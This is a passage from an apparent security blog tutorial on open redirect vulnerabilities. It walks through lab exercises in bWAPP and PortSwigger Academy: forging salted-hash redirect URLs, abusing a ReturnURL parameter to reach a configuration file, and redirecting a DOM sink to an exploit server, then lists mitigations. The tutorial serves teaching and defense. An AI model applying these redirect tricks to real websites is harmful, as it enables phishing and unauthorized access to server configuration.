With a basic MD5 Hash generator, we’ve encrypted https://www.bing.com. Copy this all and craft it in with the URL.

Great!! From the below image you can see that, as soon as I execute the above-manipulated URL in the browser, I got redirected to my desired result.

Redirection with Hash values using Salt

Encoded URL’s can be bypassed, URL parameter with a hash can even be misguided, but what, if the redirected URL is encrypted with a salt value?

Salt could be anything, it could be a combination of characters, digits, alphanumeric, special character or anything we want. A salt further increases the security for redirecting the URL or even it make up impossible to deface a web-application. But, there is still a chance to misguide the users, if we could guess up the salt value or even if the developer displays it in the URL itself.

From the below image, you can see that here the developer passed up his salt value in the URL as “ignite”. Cool!! This was all we need to deface this web-application, let’s try to do so.

Over in burpsuite, I’ve captured the ongoing HTTP Request that was generated with the “here” text.

Great!! So its time to manipulate the URL as we are now aware of the salt value, but wait we don’t know the type of hash it is using. Okay !! with some permutations and combinations and some hit & trial methods, I got it as a SHA256 hash.

So let’s now try to deface this web-application by generating the hash value of our “URL” with the same procedure we decrypted that earlier.

Therefore you can do so over through this SHA256 hash generator.

Copy this all – the URL and the generated Hash value; and thus manipulate it over in our burpsuite.

Woah!! We’ve successfully bypassed this security level which was expected to the most secure one.

Redirection over inside a Web-Page

So, up till now, we have seen that the developer redirects his visitors to the resources that were outside the web-application, but there are chances that he might set the redirect() or header() function to make its users, to travel the web-pages which reside inside the application’s interface.

Let’s boot into our vulnerable web-application bWAPP as “bee : bug” and set the “Choose your bug” option to “Unvalidated Redirects & Forwards (2)”.

Thus, there on the page, if we hover the “here” text we can see that there is a “ReturnUrl=” parameter.

Let’s capture the passing HTTP Request over of the “here” text and check what we could grab with it.

From the below image, you can see that the “ReturnURL=” parameter is forwarding the user back to the “portal.php” page, which is thus nothing but a URL redirection and therefore can be leveraged to an “Open Redirect” vulnerability.

Isn’t it great, that, if being a low privileged user, we can grab the content of the “configuration files” or anything specific for which we’re not authorized to, and this all happens, when the developer patch up the “LFI” vulnerability?

So let’s try to do so – as we’re aware, that the configuration files reside inside the web-applications default folder. Thus it would be easy to call that up over from the “here” text, by manipulating the captured request with our desired URL.

http://192.168.0..11/bWAPP/unvalidated_redir_fwd_2.php?ReturnURL=config.php

As soon as we hit the Forward button, we got redirected to the config.inc which thus contains up all the basic configurations.

Great!! We’re into the config.inc file and though we are now having more information about our target’s server.

DOM-based Open Redirect

DOM-based open-redirection vulnerabilities arise when a script writes attacker-controllable data into a sink that can trigger cross-domain navigation which thus facilitates phishing attacks against users of the websites.

So what is a sink?

A sink is a potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it.

The major sinks that could lead to DOM-based Open Redirection vulnerability are “location”
“location.hostname” “location.href” “location.pathname”.

So, let’s try to implement it, in some real scenarios over at The Portswigger Academy and exploit this DOM-based Open Redirect vulnerability.

As we hit the “Access the lab” button, we get redirected over to a blog which is somewhere or the other suffering from “Open Redirection”.

But before that, we got something new as “Go to exploit server”, let’s check that out.

That’s nice, we’re having our exploit server here, let’s copy its URL and we’ll try to redirect that blog to our server.

So let’s open a specific blog-post, say the first one and check its source code with a simple right-click over any segment of the page.

Great!! From the below image, I was able to see that the “Back to Blog” text is with some URL and this seems to be an “Open Redirect” as “location” property is not validated or sanitized to user’s input and thus it is even having an onclick event over it as “url=(https”

However, if we manipulate the web–page URL by integrating our exploit server’s URL with “&url=” parameter as

web-security-academy.net/post?postId=1&url=https://acae1fa01f50080b2d7d801d30034.web-security-academy.net

From the above image, you can see that, now if I hover the “Back to Blog” section, I got the redirection link to as the one I manipulated earlier.

Let’s check out its output, by clicking over the “Back to Blog” text.

Great!! From the below image you can see that we’ve successfully solved this lab and we are thus redirected over to our exploit server.

Mitigation Steps

The user-input should be properly sanitized and must be validated.
The developer should set up a whitelist of his trustworthy URLs.
If the developer is setting up any hash or a salt value, it should be hidden and not to be displayed in the URL.
Instead of using the redirect function, the developer should implement specific links over on the text keywords.
The web-application should pop out a warning when a user tries to redirect to an untrusted domain.

Author: Chiragh Arora is a passionate Researcher and Technical Writer at Hacking Articles. He is a hacking enthusiast. Contact here

The post Comprehensive Guide on Open Redirect appeared first on Hacking Articles.